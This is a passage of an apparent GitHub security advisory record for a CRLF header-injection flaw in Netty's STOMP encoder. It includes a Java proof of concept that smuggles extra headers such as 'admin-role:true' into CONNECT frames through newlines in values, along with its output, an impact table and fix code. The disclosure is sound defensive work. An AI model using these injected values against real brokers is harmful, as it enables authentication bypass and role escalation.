DefaultStompHeaders();\n headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n headers.set(\"custom\", maliciousValue);\n\n DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n frame.headers().setAll(headers);\n EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n channel.writeOutbound(frame);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n System.out.println(\" Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n System.out.println(\" Escaped \\\\n: \" + hasEscapedNewline);\n System.out.println(\" Raw \\\\n: \" + hasRawNewline);\n System.out.println(\" SAFE: \" + (hasEscapedNewline && !hasRawNewline ? \"YES\" : \"NO\"));\n }\n System.out.println();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n CONNECT\n host:localhost\n accept-version:1.2\n login:user\n passcode:password\n admin-role:true <-- INJECTED HEADER\n\n \\0\n---\n\nInjected 'admin-role' appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers: 5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n Raw \\n in output: true\n VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n Escaped \\n: true\n Raw \\n: false\n SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** → header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` → header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n StompCommand command = frame.command();\n ByteBufUtil.writeUtf8(buf, command.toString());\n buf.writeByte(StompConstants.LF);\n\n boolean shouldEscape = shouldEscape(command);\n for (Entry<CharSequence, CharSequence> entry : frame.headers()) {\n CharSequence headerKey = entry.getKey();\n CharSequence headerValue = entry.getValue();\n\n if (shouldEscape) {\n headerKey = escape(headerKey);\n headerValue = escape(headerValue);\n } else {\n // For CONNECT/CONNECTED: don't escape but REJECT newlines\n validateNoNewlines(headerKey, \"header name\");\n validateNoNewlines(headerValue, \"header value\");\n }\n\n ByteBufUtil.writeUtf8(buf, headerKey);\n buf.writeByte(StompConstants.COLON);\n ByteBufUtil.writeUtf8(buf, headerValue);\n buf.writeByte(StompConstants.LF);\n }\n buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n for (int i = 0; i < value.length(); i++) {\n char c = value.charAt(i);\n if (c == '\\n' || c == '\\r') {\n throw new IllegalArgumentException(\n \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n }\n }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-codec-stomp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.2.0.Final"
}, {
"fixed" : "4.2.16.Final"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-codec-stomp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.136.Final"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/netty/netty"
}, {
"type" : "WEB",
"url" : "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
}, {
"type" : "WEB",
"url" : "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-93" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-22T21:52:27Z",
"nvd_published_at" : null
}
}